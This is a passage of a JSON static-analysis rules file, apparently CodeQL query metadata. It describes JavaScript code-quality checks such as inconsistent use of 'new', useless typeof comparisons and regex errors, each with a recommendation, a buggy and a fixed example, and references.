constructor, it should always be invoked with 'new'. Otherwise, it should always be invoked as a normal function, that is, without 'new'."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Inconsistent use of 'new'\nJavaScript does not enforce a distinction between constructor functions and normal functions, so the same function can be invoked both as a constructor with `new` and as a normal function without `new`. This is unusual, however, and can often indicate a bug.\n\n\n## Recommendation\nExamine the function in question and all calls to it. If it is not actually meant to be invoked as a constructor, turn all constructor calls to it into normal function calls. If it *is* meant to be invoked as a constructor, either turn all normal function calls to it into constructor calls, or introduce a guard for intercepting calls without `new` as described below.\n\n\n## Example\nIn the following example, `Point` is clearly meant to be a constructor function, but on line 7 it is invoked without `new`. This means that `this` in the function body will refer to the global object, so the assignments to `x` and `y` will create global variables.\n\n\n```javascript\nfunction Point(x, y) {\n  this.x = x;\n  this.y = y;\n}\n\nvar p = new Point(23, 42),\n    q = Point(56, 72);\n\n```\nThe easiest way to fix this is to rewrite the call on line 7 to use `new`:\n\n\n```javascript\nfunction Point(x, y) {\n  this.x = x;\n  this.y = y;\n}\n\nvar p = new Point(23, 42),\n    q = new Point(56, 72);\n\n```\nAlternatively, if you absolutely have to make it possible to call `Point` both with and without `new`, you could insert a guard that intercepts calls without `new` as follows:\n\n\n```javascript\nfunction Point(x, y) {\n  if (!(this instanceof Point))\n    return new Point(x, y);\n  this.x = x;\n  this.y = y;\n}\n\nvar p = new Point(23, 42),\n    q = Point(56, 72);\n\n```\nNow, if `Point` is invoked without `new`, its `this` object (which is the global object) is not an instance of `Point`, so the \"then\" branch of the `if` statement is executed, which re-invokes `Point` on the same arguments, but this time with `new`.\n\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Appendix B.11. O'Reilly, 2008.\n","markdown":"# Inconsistent use of 'new'\nJavaScript does not enforce a distinction between constructor functions and normal functions, so the same function can be invoked both as a constructor with `new` and as a normal function without `new`. This is unusual, however, and can often indicate a bug.\n\n\n## Recommendation\nExamine the function in question and all calls to it. If it is not actually meant to be invoked as a constructor, turn all constructor calls to it into normal function calls. If it *is* meant to be invoked as a constructor, either turn all normal function calls to it into constructor calls, or introduce a guard for intercepting calls without `new` as described below.\n\n\n## Example\nIn the following example, `Point` is clearly meant to be a constructor function, but on line 7 it is invoked without `new`. This means that `this` in the function body will refer to the global object, so the assignments to `x` and `y` will create global variables.\n\n\n```javascript\nfunction Point(x, y) {\n  this.x = x;\n  this.y = y;\n}\n\nvar p = new Point(23, 42),\n    q = Point(56, 72);\n\n```\nThe easiest way to fix this is to rewrite the call on line 7 to use `new`:\n\n\n```javascript\nfunction Point(x, y) {\n  this.x = x;\n  this.y = y;\n}\n\nvar p = new Point(23, 42),\n    q = new Point(56, 72);\n\n```\nAlternatively, if you absolutely have to make it possible to call `Point` both with and without `new`, you could insert a guard that intercepts calls without `new` as follows:\n\n\n```javascript\nfunction Point(x, y) {\n  if (!(this instanceof Point))\n    return new Point(x, y);\n  this.x = x;\n  this.y = y;\n}\n\nvar p = new Point(23, 42),\n    q = Point(56, 72);\n\n```\nNow, if `Point` is invoked without `new`, its `this` object (which is the global object) is not an instance of `Point`, so the \"then\" branch of the `if` statement is executed, which re-invokes `Point` on the same arguments, but this time with `new`.\n\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Appendix B.11. O'Reilly, 2008.\n"},"properties":{"tags":["quality","reliability","correctness","language-features"],"description":"If a function is intended to be a constructor, it should always\n              be invoked with 'new'. Otherwise, it should always be invoked\n              as a normal function, that is, without 'new'.","id":"js/inconsistent-use-of-new","kind":"problem","name":"Inconsistent use of 'new'","precision":"very-high","problem.severity":"warning"}},{"id":"js/useless-type-test","name":"js/useless-type-test","shortDescription":{"text":"Useless type test"},"fullDescription":{"text":"Comparing the result of a typeof test against a string other than 'undefined', 'boolean', 'number', 'string', 'object', 'function' or 'symbol' is useless, since this comparison can never succeed."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Useless type test\nIn ECMAScript 5, the `typeof` operator returns one of the following six type tags: `\"undefined\"`, `\"boolean\"`, `\"number\"`, `\"string\"`, `\"object\"`, `\"function\"`. In ECMAScript 2015, it may additionally return `\"symbol\"`, while on older versions of Internet Explorer it may return `\"unknown\"` or `\"date\"` in certain situations. Comparing it against any other string literal is therefore useless.\n\n\n## Recommendation\nCarefully examine the comparison in question. If the type tag is simply misspelled, correct it. In some cases, the type tag returned by `typeof` is not sufficiently precise, so you may have to use other type test functions.\n\n\n## Example\nThe following code snippet tries to determine whether `a` is an array:\n\n\n```javascript\nif (typeof a === 'array')\n\tconsole.log(\"It's an array!\");\n```\nNote that `typeof` is not precise enough to distinguish arrays from other objects, since it returns the type tag `\"object\"` for both. ECMAScript 5-compatible platforms provide a library function `Array.isArray` that can be used instead:\n\n\n```javascript\nif (Array.isArray(a))\n\tconsole.log(\"It's an array!\");\n```\nOn older platforms, you can use the technique explained on the [Mozilla Developer Network](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray#Compatibility).\n\n\n## References\n* Mozilla Developer Network: [typeof](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof).\n* Mozilla Developer Network: [Array.isArray()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray).\n* Common Weakness Enumeration: [CWE-570](https://cwe.mitre.org/data/definitions/570.html).\n* Common Weakness Enumeration: [CWE-571](https://cwe.mitre.org/data/definitions/571.html).\n","markdown":"# Useless type test\nIn ECMAScript 5, the `typeof` operator returns one of the following six type tags: `\"undefined\"`, `\"boolean\"`, `\"number\"`, `\"string\"`, `\"object\"`, `\"function\"`. In ECMAScript 2015, it may additionally return `\"symbol\"`, while on older versions of Internet Explorer it may return `\"unknown\"` or `\"date\"` in certain situations. Comparing it against any other string literal is therefore useless.\n\n\n## Recommendation\nCarefully examine the comparison in question. If the type tag is simply misspelled, correct it. In some cases, the type tag returned by `typeof` is not sufficiently precise, so you may have to use other type test functions.\n\n\n## Example\nThe following code snippet tries to determine whether `a` is an array:\n\n\n```javascript\nif (typeof a === 'array')\n\tconsole.log(\"It's an array!\");\n```\nNote that `typeof` is not precise enough to distinguish arrays from other objects, since it returns the type tag `\"object\"` for both. ECMAScript 5-compatible platforms provide a library function `Array.isArray` that can be used instead:\n\n\n```javascript\nif (Array.isArray(a))\n\tconsole.log(\"It's an array!\");\n```\nOn older platforms, you can use the technique explained on the [Mozilla Developer Network](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray#Compatibility).\n\n\n## References\n* Mozilla Developer Network: [typeof](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof).\n* Mozilla Developer Network: [Array.isArray()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray).\n* Common Weakness Enumeration: [CWE-570](https://cwe.mitre.org/data/definitions/570.html).\n* Common Weakness Enumeration: [CWE-571](https://cwe.mitre.org/data/definitions/571.html).\n"},"properties":{"tags":["quality","reliability","correctness","language-features","external/cwe/cwe-570","external/cwe/cwe-571"],"description":"Comparing the result of a typeof test against a string other than 'undefined',\n              'boolean', 'number', 'string', 'object', 'function' or 'symbol' is useless, since\n              this comparison can never succeed.","id":"js/useless-type-test","kind":"problem","name":"Useless type test","precision":"very-high","problem.severity":"error"}},{"id":"js/unused-index-variable","name":"js/unused-index-variable","shortDescription":{"text":"Unused index variable"},"fullDescription":{"text":"Iterating over an array but not using the index variable to access array elements may indicate a typo or logic error."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Unused index variable\nIf the loop variable of a `for` loop ranges over the indices of an array, that variable would normally be used as an array index in the body of the loop. If, instead, the loop body only refers to array elements at constant indices, this may indicate a logic error or leftover testing code.\n\n\n## Recommendation\nExamine the loop carefully to ensure it is behaving as expected. You may want to consider using a `for`-`of` loop to iterate over all elements of an array without the need for error-prone index manipulations.\n\n\n## Example\nThe following example shows a function that is intended to sum up the elements of an array `xs`. The loop variable `i` is counted up from zero to `xs.length-1`, but instead of adding `xs[i]` to the running sum `res`, the code adds `xs[0]`, the first element of `xs`, to it, which is likely a mistake:\n\n\n```javascript\nfunction sum(xs) {\n  var res = 0;\n  for(var i=0; i<xs.length; ++i)\n    res += xs[0]; // BAD: should be xs[i]\n  return res;\n}\n\n```\nThe problem can be fixed by adding `xs[i]` instead:\n\n\n```javascript\nfunction sum(xs) {\n  var res = 0;\n  for(var i=0; i<xs.length; ++i)\n    res += xs[i];\n  return res;\n}\n\n```\nAlternatively, the function can be written more succinctly using a `for`-`of` loop:\n\n\n```javascript\nfunction sum(xs) {\n  var res = 0;\n  for(var x of xs)\n    res += x;\n  return res;\n}\n\n```\n\n## References\n* Mozilla Developer Network: [for](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)\n* Mozilla Developer Network: [for...of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of)\n","markdown":"# Unused index variable\nIf the loop variable of a `for` loop ranges over the indices of an array, that variable would normally be used as an array index in the body of the loop. If, instead, the loop body only refers to array elements at constant indices, this may indicate a logic error or leftover testing code.\n\n\n## Recommendation\nExamine the loop carefully to ensure it is behaving as expected. You may want to consider using a `for`-`of` loop to iterate over all elements of an array without the need for error-prone index manipulations.\n\n\n## Example\nThe following example shows a function that is intended to sum up the elements of an array `xs`. The loop variable `i` is counted up from zero to `xs.length-1`, but instead of adding `xs[i]` to the running sum `res`, the code adds `xs[0]`, the first element of `xs`, to it, which is likely a mistake:\n\n\n```javascript\nfunction sum(xs) {\n  var res = 0;\n  for(var i=0; i<xs.length; ++i)\n    res += xs[0]; // BAD: should be xs[i]\n  return res;\n}\n\n```\nThe problem can be fixed by adding `xs[i]` instead:\n\n\n```javascript\nfunction sum(xs) {\n  var res = 0;\n  for(var i=0; i<xs.length; ++i)\n    res += xs[i];\n  return res;\n}\n\n```\nAlternatively, the function can be written more succinctly using a `for`-`of` loop:\n\n\n```javascript\nfunction sum(xs) {\n  var res = 0;\n  for(var x of xs)\n    res += x;\n  return res;\n}\n\n```\n\n## References\n* Mozilla Developer Network: [for](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)\n* Mozilla Developer Network: [for...of](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of)\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"Iterating over an array but not using the index variable to access array elements\n              may indicate a typo or logic error.","id":"js/unused-index-variable","kind":"problem","name":"Unused index variable","precision":"high","problem.severity":"warning"}},{"id":"js/automatic-semicolon-insertion","name":"js/automatic-semicolon-insertion","shortDescription":{"text":"Semicolon insertion"},"fullDescription":{"text":"Code that uses automatic semicolon insertion inconsistently is hard to read and maintain."},"defaultConfiguration":{"enabled":true,"level":"note"},"help":{"text":"# Semicolon insertion\nSome statements in JavaScript do not have to be terminated by an explicit semicolon; the parser will implicitly insert a semicolon when it encounters a newline character in such situations. This is a dangerous feature since it can mask subtle errors and confuse readers; it should not be relied on.\n\n\n## Recommendation\nMake the implicitly inserted semicolon explicit.\n\n\n## Example\nIn the following code snippet, the programmer most likely intended to return an object literal with a single property `status`.\n\n\n```javascript\nfunction f() {\n\treturn\n\t{\n\t\tstatus: 'OK'\n\t}\n}\n```\nHowever, since there is a newline after the `return` keyword, the parser inserts an implicit semicolon after `return`; the object literal is then interpreted as a block containing a single statement with the label `status`. Since it comes right after a `return`, this block is, of course, never executed, and instead of returning an object literal the function now returns `undefined`.\n\nTo fix this bug, the opening curly brace of the object literal should be put on the same line as the `return` keyword:\n\n\n```javascript\nfunction f() {\n\treturn {\n\t\tstatus: 'OK'\n\t};\n}\n```\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Appendix A.3. O'Reilly, 2008.\n","markdown":"# Semicolon insertion\nSome statements in JavaScript do not have to be terminated by an explicit semicolon; the parser will implicitly insert a semicolon when it encounters a newline character in such situations. This is a dangerous feature since it can mask subtle errors and confuse readers; it should not be relied on.\n\n\n## Recommendation\nMake the implicitly inserted semicolon explicit.\n\n\n## Example\nIn the following code snippet, the programmer most likely intended to return an object literal with a single property `status`.\n\n\n```javascript\nfunction f() {\n\treturn\n\t{\n\t\tstatus: 'OK'\n\t}\n}\n```\nHowever, since there is a newline after the `return` keyword, the parser inserts an implicit semicolon after `return`; the object literal is then interpreted as a block containing a single statement with the label `status`. Since it comes right after a `return`, this block is, of course, never executed, and instead of returning an object literal the function now returns `undefined`.\n\nTo fix this bug, the opening curly brace of the object literal should be put on the same line as the `return` keyword:\n\n\n```javascript\nfunction f() {\n\treturn {\n\t\tstatus: 'OK'\n\t};\n}\n```\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Appendix A.3. O'Reilly, 2008.\n"},"properties":{"tags":["quality","maintainability","readability","language-features","statistical","non-attributable"],"description":"Code that uses automatic semicolon insertion inconsistently is hard to read and maintain.","id":"js/automatic-semicolon-insertion","kind":"problem","name":"Semicolon insertion","precision":"very-high","problem.severity":"recommendation"}},{"id":"js/non-standard-language-feature","name":"js/non-standard-language-feature","shortDescription":{"text":"Use of platform-specific language features"},"fullDescription":{"text":"Non-standard language features such as expression closures or let expressions make it harder to reuse code."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Use of platform-specific language features\nNon-standard language extensions such as expression closures or `let` expressions should be avoided, since they make code harder to read or reuse.\n\n\n## Recommendation\nUse standard language features instead. For instance, expression closures can be replaced by ECMAScript 2015 arrow functions, or alternatively by plain functions; `let` statements and expressions can be replaced by ECMAScript 2015 `let` declarations; and `for each ... in` statements can be replaced by ECMAScript 2015 `for ... of` statements.\n\n\n## Example\nThe following example uses an expression closure with `map`:\n\n\n```javascript\n[1, 2, 3].map(function(x) x * x);\n```\nThe equivalent code using an ECMAScript 2015 arrow function is as follows:\n\n\n```javascript\n[1, 2, 3].map((x) => x * x);\n```\nOn ECMAScript 2015 platforms, a plain function can be used instead:\n\n\n```javascript\n[1, 2, 3].map(function (x) { return x * x; });\n```\nAs another example, consider this use of a `let` statement:\n\n\n```javascript\nfunction sumOfSquares(a) {\n\tvar sum = 0;\n\tfor (var i=0; i<a.length; ++i) {\n\t\tlet (square = a[i]*a[i]) {\n\t\t\tsum += square;\n\t\t}\n\t}\n\treturn sum;\n}\n\n```\nIt can easily be replaced by a block-scoped `let` declaration:\n\n\n```javascript\nfunction sumOfSquares(a) {\n\tvar sum = 0;\n\tfor (var i=0; i<a.length; ++i) {\n\t\tlet square = a[i]*a[i];\n\t\tsum += square;\n\t}\n\treturn sum;\n}\n\n```\nOlder versions of Firefox support a postfix notation for array comprehensions:\n\n\n```javascript\nvar numbers = [1, 2, 3, 4, 5];\nvar squares = [i*i for (i of numbers)];\n```\nThis notation should be converted into the semantically equivalent prefix notation supported by newer browsers:\n\n\n```javascript\nvar numbers = [1, 2, 3, 4, 5];\nvar squares = [for (i of numbers) i*i];\n```\n\n## References\n* Mozilla Developer Network: [Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions).\n* Mozilla Developer Network: [Non-standard let extensions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let#Non-standard_let_extensions).\n* Mozilla Developer Network: [for each...in](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for_each...in).\n* Common Weakness Enumeration: [CWE-758](https://cwe.mitre.org/data/definitions/758.html).\n","markdown":"# Use of platform-specific language features\nNon-standard language extensions such as expression closures or `let` expressions should be avoided, since they make code harder to read or reuse.\n\n\n## Recommendation\nUse standard language features instead. For instance, expression closures can be replaced by ECMAScript 2015 arrow functions, or alternatively by plain functions; `let` statements and expressions can be replaced by ECMAScript 2015 `let` declarations; and `for each ... in` statements can be replaced by ECMAScript 2015 `for ... of` statements.\n\n\n## Example\nThe following example uses an expression closure with `map`:\n\n\n```javascript\n[1, 2, 3].map(function(x) x * x);\n```\nThe equivalent code using an ECMAScript 2015 arrow function is as follows:\n\n\n```javascript\n[1, 2, 3].map((x) => x * x);\n```\nOn ECMAScript 2015 platforms, a plain function can be used instead:\n\n\n```javascript\n[1, 2, 3].map(function (x) { return x * x; });\n```\nAs another example, consider this use of a `let` statement:\n\n\n```javascript\nfunction sumOfSquares(a) {\n\tvar sum = 0;\n\tfor (var i=0; i<a.length; ++i) {\n\t\tlet (square = a[i]*a[i]) {\n\t\t\tsum += square;\n\t\t}\n\t}\n\treturn sum;\n}\n\n```\nIt can easily be replaced by a block-scoped `let` declaration:\n\n\n```javascript\nfunction sumOfSquares(a) {\n\tvar sum = 0;\n\tfor (var i=0; i<a.length; ++i) {\n\t\tlet square = a[i]*a[i];\n\t\tsum += square;\n\t}\n\treturn sum;\n}\n\n```\nOlder versions of Firefox support a postfix notation for array comprehensions:\n\n\n```javascript\nvar numbers = [1, 2, 3, 4, 5];\nvar squares = [i*i for (i of numbers)];\n```\nThis notation should be converted into the semantically equivalent prefix notation supported by newer browsers:\n\n\n```javascript\nvar numbers = [1, 2, 3, 4, 5];\nvar squares = [for (i of numbers) i*i];\n```\n\n## References\n* Mozilla Developer Network: [Arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions).\n* Mozilla Developer Network: [Non-standard let extensions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let#Non-standard_let_extensions).\n* Mozilla Developer Network: [for each...in](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for_each...in).\n* Common Weakness Enumeration: [CWE-758](https://cwe.mitre.org/data/definitions/758.html).\n"},"properties":{"tags":["quality","maintainability","readability","portability","language-features","external/cwe/cwe-758"],"description":"Non-standard language features such as expression closures or let expressions\n              make it harder to reuse code.","id":"js/non-standard-language-feature","kind":"problem","name":"Use of platform-specific language features","precision":"very-high","problem.severity":"warning"}},{"id":"js/regex/empty-character-class","name":"js/regex/empty-character-class","shortDescription":{"text":"Empty character class"},"fullDescription":{"text":"Empty character classes are not normally useful and may indicate a bug."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Empty character class\nAn empty character class in a regular expression does not match anything and may indicate missing code.\n\n\n## Recommendation\nOmit the empty character class. If the whole regular expression would become empty, use `/(?:)/` to express a deliberately empty regular expression.\n\n\n## Example\nIn the following example, the programmer presumably meant to write a regular expression that matches an opening square bracket or curly brace, followed by one or more letters or digits, followed by a closing square bracket or curly brace. However, they forgot to escape the closing square bracket with a backslash, leading to an empty character class. The resulting regular expression is malformed and could be interpreted differently on different platforms.\n\n\n```javascript\nif (!/[[{]\\w+[]}]/.test(input))\n\tconsole.log(\"Malformed input.\");\n```\nTo fix this problem, the regular expression should be rewritten to `/[[{]\\w+[\\]}]/`.\n\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n","markdown":"# Empty character class\nAn empty character class in a regular expression does not match anything and may indicate missing code.\n\n\n## Recommendation\nOmit the empty character class. If the whole regular expression would become empty, use `/(?:)/` to express a deliberately empty regular expression.\n\n\n## Example\nIn the following example, the programmer presumably meant to write a regular expression that matches an opening square bracket or curly brace, followed by one or more letters or digits, followed by a closing square bracket or curly brace. However, they forgot to escape the closing square bracket with a backslash, leading to an empty character class. The resulting regular expression is malformed and could be interpreted differently on different platforms.\n\n\n```javascript\nif (!/[[{]\\w+[]}]/.test(input))\n\tconsole.log(\"Malformed input.\");\n```\nTo fix this problem, the regular expression should be rewritten to `/[[{]\\w+[\\]}]/`.\n\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n"},"properties":{"tags":["quality","reliability","correctness","regular-expressions"],"description":"Empty character classes are not normally useful and may indicate a bug.","id":"js/regex/empty-character-class","kind":"problem","name":"Empty character class","precision":"very-high","problem.severity":"warning"}},{"id":"js/regex/always-matches","name":"js/regex/always-matches","shortDescription":{"text":"Regular expression always matches"},"fullDescription":{"text":"Regular expression tests that always find a match indicate dead code or a logic error"},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Regular expression always matches\nThere are several built-in JavaScript functions that search for a regular expression match within a string, such as `RegExp.prototype.test` and `String.prototype.search`. If the regular expression is not anchored, it only needs to match a substring of the input and won't necessarily match the whole string.\n\nIf the regular expression being searched for accepts the empty string, this means it can match an empty substring anywhere in the input string, and will thus always find a match. In this case, testing if a match exists is redundant and indicates dead code.\n\n\n## Recommendation\nExamine the regular expression and determine how it was intended to match:\n\n* To match the whole input string, add anchors at the beginning and end of the regular expression.\n* To search for an occurrence within the input string, consider what the shortest meaningful match is and restrict the regular expression accordingly, such as by changing a `*` to a `+`.\n\n## Example\nIn the following example, a regular expression is used to check the format of a string `id`. However, the check always passes because the regular expression can match the empty substring. For example, it will allow the ID string \"`%%`\" by matching an empty string at index 0.\n\n\n```javascript\nif (!/[a-z0-9]*/.test(id)) {\n    throw new Error(\"Invalid id: \" + id);\n}\n\n```\nTo ensure the regular expression matches the whole string, add anchors at the beginning and end:\n\n\n```javascript\nif (!/^[a-z0-9]*$/.test(id)) {\n    throw new Error(\"Invalid id: \" + id);\n}\n\n```\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n","markdown":"# Regular expression always matches\nThere are several built-in JavaScript functions that search for a regular expression match within a string, such as `RegExp.prototype.test` and `String.prototype.search`. If the regular expression is not anchored, it only needs to match a substring of the input and won't necessarily match the whole string.\n\nIf the regular expression being searched for accepts the empty string, this means it can match an empty substring anywhere in the input string, and will thus always find a match. In this case, testing if a match exists is redundant and indicates dead code.\n\n\n## Recommendation\nExamine the regular expression and determine how it was intended to match:\n\n* To match the whole input string, add anchors at the beginning and end of the regular expression.\n* To search for an occurrence within the input string, consider what the shortest meaningful match is and restrict the regular expression accordingly, such as by changing a `*` to a `+`.\n\n## Example\nIn the following example, a regular expression is used to check the format of a string `id`. However, the check always passes because the regular expression can match the empty substring. For example, it will allow the ID string \"`%%`\" by matching an empty string at index 0.\n\n\n```javascript\nif (!/[a-z0-9]*/.test(id)) {\n    throw new Error(\"Invalid id: \" + id);\n}\n\n```\nTo ensure the regular expression matches the whole string, add anchors at the beginning and end:\n\n\n```javascript\nif (!/^[a-z0-9]*$/.test(id)) {\n    throw new Error(\"Invalid id: \" + id);\n}\n\n```\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n"},"properties":{"tags":["quality","reliability","correctness","regular-expressions"],"description":"Regular expression tests that always find a match indicate dead code or a logic error","id":"js/regex/always-matches","kind":"problem","name":"Regular expression always matches","precision":"high","problem.severity":"warning"}},{"id":"js/regex/unmatchable-caret","name":"js/regex/unmatchable-caret","shortDescription":{"text":"Unmatchable caret in regular expression"},"fullDescription":{"text":"If a caret assertion '^' appears in a regular expression after another term that cannot match the empty string, then this assertion can never match, so the entire regular expression cannot match any string."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Unmatchable caret in regular expression\nThe caret character `^` in a regular expression only matches at the beginning of the input, or (for multi-line regular expressions) at the beginning of a line. If it is preceded by a pattern that must match a non-empty sequence of (non-newline) input characters, it cannot possibly match, rendering the entire regular expression unmatchable.\n\n\n## Recommendation\nExamine the regular expression to find and correct any typos.\n\n\n## Example\nIn the following example, the regular expression `/\\[^.]*\\.css/` cannot match any string, since it contains a caret assertion preceded by an escape sequence that matches an opening bracket.\n\n\n```javascript\nif (file.match(/\\[^.]*\\.css/))\n\tconsole.log(\"Found it.\");\n```\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n* Common Weakness Enumeration: [CWE-561](https://cwe.mitre.org/data/definitions/561.html).\n","markdown":"# Unmatchable caret in regular expression\nThe caret character `^` in a regular expression only matches at the beginning of the input, or (for multi-line regular expressions) at the beginning of a line. If it is preceded by a pattern that must match a non-empty sequence of (non-newline) input characters, it cannot possibly match, rendering the entire regular expression unmatchable.\n\n\n## Recommendation\nExamine the regular expression to find and correct any typos.\n\n\n## Example\nIn the following example, the regular expression `/\\[^.]*\\.css/` cannot match any string, since it contains a caret assertion preceded by an escape sequence that matches an opening bracket.\n\n\n```javascript\nif (file.match(/\\[^.]*\\.css/))\n\tconsole.log(\"Found it.\");\n```\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n* Common Weakness Enumeration: [CWE-561](https://cwe.mitre.org/data/definitions/561.html).\n"},"properties":{"tags":["quality","reliability","correctness","regular-expressions","external/cwe/cwe-561"],"description":"If a caret assertion '^' appears in a regular expression after another term that\n              cannot match the empty string, then this assertion can never match, so the entire\n              regular expression cannot match any string.","id":"js/regex/unmatchable-caret","kind":"problem","name":"Unmatchable caret in regular expression","precision":"very-high","problem.severity":"error"}},{"id":"js/regex/unbound-back-reference","name":"js/regex/unbound-back-reference","shortDescription":{"text":"Unbound back reference"},"fullDescription":{"text":"Regular expression escape sequences of the form '\\n', where 'n' is a positive number greater than the number of capture groups in the regular expression, are not allowed by the ECMAScript standard."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Unbound back reference\nIn regular expressions, back references can be used to refer back to the result of a previously matched capture group. The ECMAScript standard forbids back references of the form '\\\\n', where 'n' is a positive number greater than the number of capture groups in the regular expression.\n\nWhile many browsers allow such references and interpret them as normal character escapes instead, this behavior is non-standard and should not be relied on. It can also be a source of bugs if the regular expression is changed later on, since the character escape may then start matching newly introduced capture groups.\n\n\n## Recommendation\nIf the back reference is meant to refer to a capture group, ensure that there is a capture group with the right number. If it is meant to be an escape sequence, convert it to a hexadecimal character escape, which is ECMAScript-compliant.\n\n\n## Example\nIn the following example, the back reference `\\1` presumably is meant to refer to the string matched by the group `(?:\\s+)`. However, that group is non-capturing.\n\n\n```javascript\n/^(?:\\s+)\\w+\\1$/;\n\n```\nTo fix this, convert the group into a capturing group `(\\s+)`.\n\nIf `\\1` is actually meant to match the character with character code 1, it should be rewritten into the hexadecimal character escape `\\x01`.\n\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 15. ECMA, 2011.\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n","markdown":"# Unbound back reference\nIn regular expressions, back references can be used to refer back to the result of a previously matched capture group. The ECMAScript standard forbids back references of the form '\\\\n', where 'n' is a positive number greater than the number of capture groups in the regular expression.\n\nWhile many browsers allow such references and interpret them as normal character escapes instead, this behavior is non-standard and should not be relied on. It can also be a source of bugs if the regular expression is changed later on, since the character escape may then start matching newly introduced capture groups.\n\n\n## Recommendation\nIf the back reference is meant to refer to a capture group, ensure that there is a capture group with the right number. If it is meant to be an escape sequence, convert it to a hexadecimal character escape, which is ECMAScript-compliant.\n\n\n## Example\nIn the following example, the back reference `\\1` presumably is meant to refer to the string matched by the group `(?:\\s+)`. However, that group is non-capturing.\n\n\n```javascript\n/^(?:\\s+)\\w+\\1$/;\n\n```\nTo fix this, convert the group into a capturing group `(\\s+)`.\n\nIf `\\1` is actually meant to match the character with character code 1, it should be rewritten into the hexadecimal character escape `\\x01`.\n\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Section 15. ECMA, 2011.\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n"},"properties":{"tags":["quality","reliability","correctness","regular-expressions"],"description":"Regular expression escape sequences of the form '\\n', where 'n' is a positive number\n              greater than the number of capture groups in the regular expression, are not allowed\n              by the ECMAScript standard.","id":"js/regex/unbound-back-reference","kind":"problem","name":"Unbound back reference","precision":"very-high","problem.severity":"warning"}},{"id":"js/regex/back-reference-before-group","name":"js/regex/back-reference-before-group","shortDescription":{"text":"Back reference precedes capture group"},"fullDescription":{"text":"If a back reference precedes the capture group it refers to, it matches the empty string, which is probably not what was expected."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Back reference precedes capture group\nBack references can be used to refer back to the result of a previously matched capture group. It is syntactically legal to refer to a capture group that has not finished matching yet, but such a back reference always matches the empty string and is not very useful.\n\n\n## Recommendation\nRemove the back reference if it is useless, or update it to refer to the right capture group.\n\n\n## Example\nIn the following example, the back reference `\\2` comes before the capture group `(.*)` it refers to. (Note that the first group is non-capturing.)\n\n\n```javascript\nif (/(?:start|end)(\\[*|\\{*)abc\\2:(.*)/.test(input))\n\tconsole.log(\"Found the pattern.\");\n```\nForward references like this can arise if a regular expression is updated inconsistently. In this example, for instance, the first group may initially have been capturing so the back reference referred to the group `(\\[*|\\{*])`. This group, however, is now the first capturing group, so the back reference should be updated to `\\1`.\n\n\n## References\n* Mozilla Developer Network: [JavaScript Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions).\n","markdown":"# Back reference precedes capture group\nBack references can be used to refer back to the result of a previously matched capture group. It is syntactically legal to refer to a capture group that has not finished matching yet, but such a back reference always matches the empty string and is not very useful.\n\n\n## Recommendation\nRemove the back reference if it is useless, or update it to refer to the right capture group.\n\n\n## Example\nIn the following example, the back reference `\\2` comes before the capture group `(.*)` it refers to. (Note that the first group is non-capturing.)\n\n\n```javascript\nif (/(?:start|end)(\\[*|\\{*)abc\\2:(.*)/.test(input))\n\tconsole.log(\"Found the pattern.\");\n```\nForward references like this can arise if a regular expression is updated inconsistently. In this example, for 